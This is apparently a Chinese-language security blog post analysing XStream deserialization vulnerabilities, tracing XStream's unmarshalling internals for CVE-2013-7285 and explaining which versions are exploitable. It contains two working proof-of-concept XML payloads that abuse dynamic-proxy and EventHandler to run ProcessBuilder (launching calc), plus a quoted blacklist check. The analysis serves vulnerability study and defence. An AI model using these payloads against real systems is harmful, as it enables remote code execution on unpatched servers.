Java安全之XStream 漏洞分析

nice_0e3發表於2021-07-22
Java

Java安全之XStream 漏洞分析

0x00 前言

好久沒寫漏洞分析文章了，最近感覺在審程式碼的時候，XStream 元件出現的頻率比較高，藉此來學習一波XStream的漏洞分析。

0x01 XStream 歷史漏洞

下面羅列一下XStream歷史漏洞

XStream 遠端程式碼執行漏洞 CVE-2013-7285 XStream <= 1.4.6
XStream XXE CVE-2016-3674 XStream <= 1.4.8
XStream 遠端程式碼執行漏洞 CVE-2019-10173 XStream < 1.4.10
XStream 遠端程式碼執行漏洞 CVE-2020-26217 XStream <= 1.4.13
XStream 遠端程式碼執行漏洞 CVE-2021-21344 XStream: <= 1.4.15
XStream 遠端程式碼執行漏洞 CVE-2021-21345 XStream: <= 1.4.15
XStream 遠端程式碼執行漏洞 CVE-2021-21346 XStream: <= 1.4.15
XStream 遠端程式碼執行漏洞 CVE-2021-21347 XStream<= 1.4.15
XStream 遠端程式碼執行漏洞 CVE-2021-21350 XStream: <= 1.4.15
XStream 遠端程式碼執行漏洞 CVE-2021-21351 XStream: <= 1.4.15
XStream 遠端程式碼執行漏洞 CVE-2021-29505 XStream: <= 1.4.16

詳細可檢視XStream 官方地址

0x02 XStream 使用與解析

介紹

XStream是一套簡潔易用的開源類庫，用於將Java物件序列化為XML或者將XML反序列化為Java物件，是Java物件和XML之間的一個雙向轉化器。

使用

序列化

 public static void main(String[] args) {
      
        XStream xStream = new XStream();
        Person person = new Person();
        person.setName("xxx");
        person.setAge(22);
        String s = xStream.toXML(person);
        System.out.println(s);
    }

<com.nice0e3.Person>
  <name>xxx</name>
  <age>22</age>
</com.nice0e3.Person>

反序列化

  XStream xStream = new XStream();
    String xml =
                "<com.nice0e3.Person>\n" +
                "  <name>xxx</name>\n" +
                "  <age>22</age>\n" +
                "</com.nice0e3.Person>";

        Person person1 = (Person)xStream.fromXML(xml);
        System.out.println(person1);

結果

Person{name='xxx', age=22}

EventHandler類

分析前先來看到EventHandler類，EventHandler類是實現了InvocationHandler的一個類，設計本意是為互動工具提供beans，建立從使用者介面到應用程式邏輯的連線。其中會檢視呼叫的方法是否為hashCode、equals、toString，如果不為這三個方法則往下走，而我們的需要利用的部分在下面。EventHandler.invoke()-->EventHandler.invokeInternal()-->MethodUtil.invoke()任意反射呼叫。

組成部分

XStream 總體由五部分組成

XStream 作為客戶端對外提供XML解析與轉換的相關方法。

  1. AbstractDriver 為XStream提供流解析器和編寫器的建立。目前支援XML（DOM，PULL）、JSON解析器。解析器HierarchicalStreamReader，編寫器HierarchicalStreamWriter（PS：XStream預設使用了XppDriver)。

  2. MarshallingStrategy 編組和解組策略的核心介面，兩個方法：
    marshal：編組物件圖
    unmarshal:解組物件圖
    TreeUnmarshaller 樹解組程式，呼叫mapper和Converter把XML轉化成java物件，裡面的start方法開始解組，convertAnother方法把class轉化成java物件。
    TreeMarshaller 樹編組程式，呼叫mapper和Converter把java物件轉化成XML，裡面的start方法開始編組，convertAnother方法把java物件轉化成XML。
    它的抽象子類AbstractTreeMarshallingStrategy有抽象兩個方法
    createUnmarshallingContext
    createMarshallingContext
    用來根據不同的場景建立不同的TreeUnmarshaller子類和TreeMarshaller子類，使用了策略模式，如ReferenceByXPathMarshallingStrategy建立ReferenceByXPathUnmarshaller，ReferenceByIdMarshallingStrategy建立ReferenceByIdUnmarshaller（PS：XStream預設使用ReferenceByXPathMarshallingStrategy

  3. Mapper 對映器，XML的elementName通過mapper獲取對應類、成員、屬性的class物件。支援解組和編組，所以方法是成對存在real 和serialized，他的子類MapperWrapper作為裝飾者，包裝了不同型別對映的對映器，如AnnotationMapper，ImplicitCollectionMapper，ClassAliasingMapper。

  4. ConverterLookup 通過Mapper獲取的Class物件後，接著呼叫lookupConverterForType獲取對應Class的轉換器，將其轉化成對應例項物件。DefaultConverterLookup是該介面的實現類，同時實現了ConverterRegistry的介面，所有DefaultConverterLookup具備查詢converter功能和註冊converter功能。所有註冊的轉換器按一定優先順序組成由TreeSet儲存的有序集合(PS:XStream 預設使用了DefaultConverterLookup)。

Mapper解析

根據elementName查詢對應的Class，首先呼叫realClass方法，然後realClass方法會在所有包裝層中一層層往下找，並還原elementName的資訊，比如在ClassAliasingMapper根據component別名得出Component類，最後在DefaultMapper中呼叫realClass建立出Class。
CachingMapper-->SecurityMapper-->ArrayMapper-->ClassAliasingMapper-->PackageAliasingMapper-->DynamicProxyMapper--->DefaultMapper

XStream 原始碼解析

0x03 漏洞分析

CVE-2013-7285

影響範圍

1.4.x<=1.4.6或1.4.10

漏洞簡介

XStream序列化和反序列化的核心是通過Converter轉換器來將XML和物件之間進行相互的轉換。

XStream反序列化漏洞的存在是因為XStream支援一個名為DynamicProxyConverter的轉換器，該轉換器可以將XML中dynamic-proxy標籤內容轉換成動態代理類物件，而當程式呼叫了dynamic-proxy標籤內的interface標籤指向的介面類宣告的方法時，就會通過動態代理機制代理訪問dynamic-proxy標籤內handler標籤指定的類方法；利用這個機制，攻擊者可以構造惡意的XML內容，即dynamic-proxy標籤內的handler標籤指向如EventHandler類這種可實現任意函式反射呼叫的惡意類、interface標籤指向目標程式必然會呼叫的介面類方法；最後當攻擊者從外部輸入該惡意XML內容後即可觸發反序列化漏洞、達到任意程式碼執行的目的。

漏洞分析

   public static void main(String[] args) {

        XStream xStream = new XStream();

        String xml =
                "<sorted-set>\n" +
                        "    <string>foo</string>\n" +
                        "    <dynamic-proxy>\n" +
                        "        <interface>java.lang.Comparable</interface>\n" +
                        "        <handler class=\"java.beans.EventHandler\">\n" +
                        "            <target class=\"java.lang.ProcessBuilder\">\n" +
                        "                <command>\n" +
                        "                    <string>cmd</string>\n" +
                        "                    <string>/C</string>\n" +
                        "                    <string>calc</string>\n" +
                        "                </command>\n" +
                        "            </target>\n" +
                        "            <action>start</action>\n" +
                        "        </handler>\n" +
                        "    </dynamic-proxy>\n" +
                        "</sorted-set>";
        
       xStream.fromXML(xml);

    }

一路跟蹤下來程式碼走到com.thoughtworks.xstream.core.TreeUnmarshaller#start

public Object start(final DataHolder dataHolder) {
        this.dataHolder = dataHolder;
        //通過mapper獲取對應節點的Class物件
        final Class<?> type = HierarchicalStreams.readClassType(reader, mapper);
        //Converter根據Class的型別轉化成java物件
        final Object result = convertAnother(null, type);
        for (final Runnable runnable : validationList) {
            runnable.run();
        }
        return result;
    }

呼叫HierarchicalStreams.readClassType方法，從序列化的資料中獲取一個真實的class物件。

public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) {
        if (classAttribute == null) {
        // 通過節點名獲取Mapper中對應的Class
        Class<?> type = mapper.realClass(reader.getNodeName());
        return type;
    }

方法內部呼叫readClassAttribute。來看到方法

public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
    String attributeName = mapper.aliasForSystemAttribute("resolves-to");
    String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
    if (classAttribute == null) {
        attributeName = mapper.aliasForSystemAttribute("class");
        if (attributeName != null) {
            classAttribute = reader.getAttribute(attributeName);
        }
    }

    return classAttribute;
}

其中呼叫獲取呼叫aliasForSystemAttribute方法獲取別名。

獲取resolves-to和class判斷解析的xml屬性值中有沒有這兩欄位。

這裡返回為空，繼續來看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

為空的話，則走到這裡

type = mapper.realClass(reader.getNodeName());

獲取當前節點的名稱，並進行返回對應的class物件。

跟蹤mapper.realClass方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass

 public Class realClass(String elementName) {
        Object cached = this.realClassCache.get(elementName);
        if (cached != null) {
            if (cached instanceof Class) {
                return (Class)cached;
            } else {
                throw (CannotResolveClassException)cached;
            }
        } else {
            try {
                Class result = super.realClass(elementName);
                this.realClassCache.put(elementName, result);
                return result;
            } catch (CannotResolveClassException var4) {
                this.realClassCache.put(elementName, var4);
                throw var4;
            }
        }
    }

找到別名應的類，儲存到realClassCache中，並且進行返回。

執行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start中

跟進程式碼

Object result = this.convertAnother((Object)null, type);

來到這裡

public Object convertAnother(final Object parent, Class<?> type, Converter converter) {
        //根據mapper獲取type實現類
        type = mapper.defaultImplementationOf(type);
        if (converter == null) {
            //根據type找到對應的converter
            converter = converterLookup.lookupConverterForType(type);
        } else {
            if (!converter.canConvert(type)) {
                final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type");
                e.add("item-type", type.getName());
                e.add("converter-type", converter.getClass().getName());
                throw e;
            }
        }
         // 進行把type轉化成對應的object
        return convert(parent, type, converter);
    }

this.mapper.defaultImplementationOf方法會在mapper物件中去尋找介面的實現類

下面呼叫 this.converterLookup.lookupConverterForType(type);方法尋找對應型別的轉換器。

 public Converter lookupConverterForType(final Class<?> type) {
        //先查詢快取的型別對應的轉換器集合
        final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null;
        if (cachedConverter != null) {
            //返回找到的快取轉換器
            return cachedConverter;
        }
        
        final Map<String, String> errors = new LinkedHashMap<>();
        //遍歷轉換器集合
        for (final Converter converter : converters) {
            try {
                //判斷是不是符合的轉換器
                if (converter.canConvert(type)) {
                    if (type != null) {
                        //快取型別對應的轉換器
                        typeToConverterMap.put(type.getName(), converter);
                    }
                    //返回找到的轉換器
                    return converter;
                }
            } catch (final RuntimeException | LinkageError e) {
                errors.put(converter.getClass().getName(), e.getMessage());
            }
        }
}

canConvert 變數所有轉換器，通過呼叫Converter.canConvert()方法來匹配轉換器是否能夠轉換出TreeSet型別，這裡找到滿足條件的TreeSetConverter轉換器

下面則是呼叫this.typeToConverterMap.put(type, converter);將該類和轉換器儲存到map中。

然後將轉換器進行返回。

回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother中，執行來到這裡。

  protected Object convert(Object parent, Class type, Converter converter) {
        Object result;
        if (this.parentStack.size() > 0) {
            result = this.parentStack.peek();
            if (result != null && !this.values.containsKey(result)) {
                this.values.put(result, parent);
            }
        }

        String attributeName = this.getMapper().aliasForSystemAttribute("reference");
        String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
        Object cache;
        if (reference != null) {
            cache = this.values.get(this.getReferenceKey(reference));
            if (cache == null) {
                ConversionException ex = new ConversionException("Invalid reference");
                ex.add("reference", reference);
                throw ex;
            }

            result = cache == NULL ? null : cache;
        } else {
            cache = this.getCurrentReferenceKey();
            this.parentStack.push(cache);
            result = super.convert(parent, type, converter);
            if (cache != null) {
                this.values.put(cache, result == null ? NULL : result);
            }

            this.parentStack.popSilently();
        }

        return result;
    }

獲取reference別名後，從xml中獲取reference標籤內容。獲取為空則呼叫

this.getCurrentReferenceKey()來獲取當前標籤將當前標籤。

呼叫this.types.push將獲取的值壓入棧中，跟進檢視一下。

public Object push(Object value) {
        if (this.pointer + 1 >= this.stack.length) {
            this.resizeStack(this.stack.length * 2);
        }

        this.stack[this.pointer++] = value;
        return value;
    }

實際上做的操作也只是將值儲存在了this.stack變數裡面。

來到以下程式碼

Object result = converter.unmarshal(this.reader, this);

呼叫傳遞進來的型別轉換器，也就是前面通過匹配獲取到的型別轉換器。呼叫unmarshal方法，進行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    TreeSet result = null;
    Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
    boolean inFirstElement = unmarshalledComparator instanceof Null;
    Comparator comparator = inFirstElement ? null : unmarshalledComparator;
    TreeMap treeMap;
    if (sortedMapField != null) {
        TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
        Object backingMap = null;

        try {
            backingMap = sortedMapField.get(possibleResult);
        } catch (IllegalAccessException var11) {
            throw new ConversionException("Cannot get backing map of TreeSet", var11);
        }

        if (backingMap instanceof TreeMap) {
            treeMap = (TreeMap)backingMap;
            result = possibleResult;
        } else {
            treeMap = null;
        }
    } else {
        treeMap = null;
    }

    if (treeMap == null) {
        PresortedSet set = new PresortedSet(comparator);
        result = comparator == null ? new TreeSet() : new TreeSet(comparator);
        if (inFirstElement) {
            this.addCurrentElementToCollection(reader, context, result, set);
            reader.moveUp();
        }

        this.populateCollection(reader, context, result, set);
        if (set.size() > 0) {
            result.addAll(set);
        }
    } else {
        this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
    }

    return result;
}

呼叫unmarshalComparator方法判斷是否存在comparator，如果不存在，則返回NullComparator物件。

protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) {
    Comparator comparator;
    if (reader.hasMoreChildren()) {
        reader.moveDown();
        if (reader.getNodeName().equals("comparator")) {
            Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper());
            comparator = (Comparator)context.convertAnother(result, comparatorClass);
        } else {
            if (!reader.getNodeName().equals("no-comparator")) {
                return NULL_MARKER;
            }

            comparator = null;
        }

        reader.moveUp();
    } else {
        comparator = null;
    }

    return comparator;
}

回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

獲取為空，則 inFirstElement為false,下面的程式碼comparator變數中三目運算返回null。而possibleResult也是建立的是一個空的TreeSet物件。而後則是一些賦值，就沒必要一一去看了。來看到重點部分。

this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);

跟進一下。

protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
        boolean inFirstElement = comparator == NULL_MARKER;
        if (inFirstElement) {
            comparator = null;
        }

        SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
        if (inFirstElement) {
            this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
            reader.moveUp();
        }

        this.populateMap(reader, context, result, sortedMap);

        try {
            if (JVM.hasOptimizedTreeMapPutAll()) {
                if (comparator != null && comparatorField != null) {
                    comparatorField.set(result, comparator);
                }

                result.putAll(sortedMap);
            } else if (comparatorField != null) {
                comparatorField.set(result, sortedMap.comparator());
                result.putAll(sortedMap);
                comparatorField.set(result, comparator);
            } else {
                result.putAll(sortedMap);
            }

        } catch (IllegalAccessException var8) {
            throw new ConversionException("Cannot set comparator of TreeMap", var8);
        }
    }

下面呼叫了this.putCurrentEntryIntoMap跟進檢視一下。

讀取標籤內的內容並快取到target這個Map中。

reader.moveUp()往後解析xml

然後呼叫this.populateMap(reader, context, result, sortedMap);

跟進方法檢視

  protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
                TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
                    public boolean add(Object object) {
                        return target.put(object, object) != null;
                    }

                    public Object get(int location) {
                        return null;
                    }

                    public int size() {
                        return target.size();
                    }
                });
            }

其中呼叫populateCollection用來迴圈遍歷子標籤中的元素並新增到集合中。

呼叫addCurrentElementToCollection-->readItem

protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
        Class type = HierarchicalStreams.readClassType(reader, this.mapper());
        return context.convertAnother(current, type);
    }

讀取標籤內容，並且獲取轉換成對應的類，最後將類新增到targer中。

跟蹤一下看看。大概流程和前面的一樣。

一路跟蹤來到

com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal

前面獲得的DynamicProxyConverter。

這就獲取到了一個動態代理的類。EventHandler

com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap中呼叫result.putAll，也就是代理了EventHandler類的putALL。動態代理特性則會觸發，EventHandler.invoke。

invoke的主要實現邏輯在invokeInternal

怎麼說呢，整體一套流程其實就是一個解析的過程。從com.thoughtworks.xstream.core.TreeUnmarshaller#start方法開始解析xml，呼叫HierarchicalStreams.readClassType通過標籤名獲取Mapper中對於的class物件。獲取class完成後呼叫com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother,該方法會根據class轉換為對於的Java物件。convertAnother的實現是mapper.defaultImplementationOf方法查詢class實現類。根據實現類獲取對應轉換器，獲取轉換器部分的實現邏輯是ConverterLookup中的lookupConverterForType方法,先從快取集合中查詢Converter,遍歷converters找到符合的Converter。隨後，呼叫convert返回object物件。convert方法實現邏輯是呼叫獲取到的converter轉換器的unmarshal方法來根據獲取的物件，繼續讀取子節點，並轉化成物件對應的變數。直到讀取到最後一個節點退出迴圈。最終獲取到java物件中的變數值也都設定，整個XML解析過程就結束了。

POC2

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>calc.exe</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

我們第一個payload使用的是sortedset介面在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother方法中this.mapper.defaultImplementationOf(type);

尋找到的實現類為java.util.TreeSet。根據實現類尋找到的轉換器即TreeSetConverter。

這裡使用的是tree-map,獲取的實現類是他本身，轉換器則是TreeMapConverter。同樣是通過動態代理的map物件，呼叫putAll方法觸發到EventHandler.invoke裡面實現任意反射呼叫。

1.3.1版本無法利用原因

com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

該行程式碼爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.無法解析異常。

發現是從遍歷去呼叫map,呼叫realClass查詢這裡並沒有從map中找到對應的class。所以這裡報錯了。

1.4.7-1.4.9版本無法利用原因

com.thoughtworks.xstream.core.TreeUnmarshaller#start

Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
Object result = this.convertAnother((Object)null, type);

獲取class部分成功了，報錯位置在呼叫this.convertAnother轉換成Object物件步驟上。

跟進檢視一下。

EventHandler的處理由ReflectionConverter來處理的，在1.4.7-1.4.9版本。新增了canConvert方法的判斷。

1.4.10版本payload可利用原因

com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert中沒了對EventHandler類的判斷。

1.4.10版本以後新增了XStream.setupDefaultSecurity(xStream)方法的支援。

com.thoughtworks.xstream.XStream$InternalBlackList#canConvert中

  public boolean canConvert(Class type) {
            return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
        }

新增黑名單判斷。

0x04 結尾

篇章略長，分開幾部分來寫。

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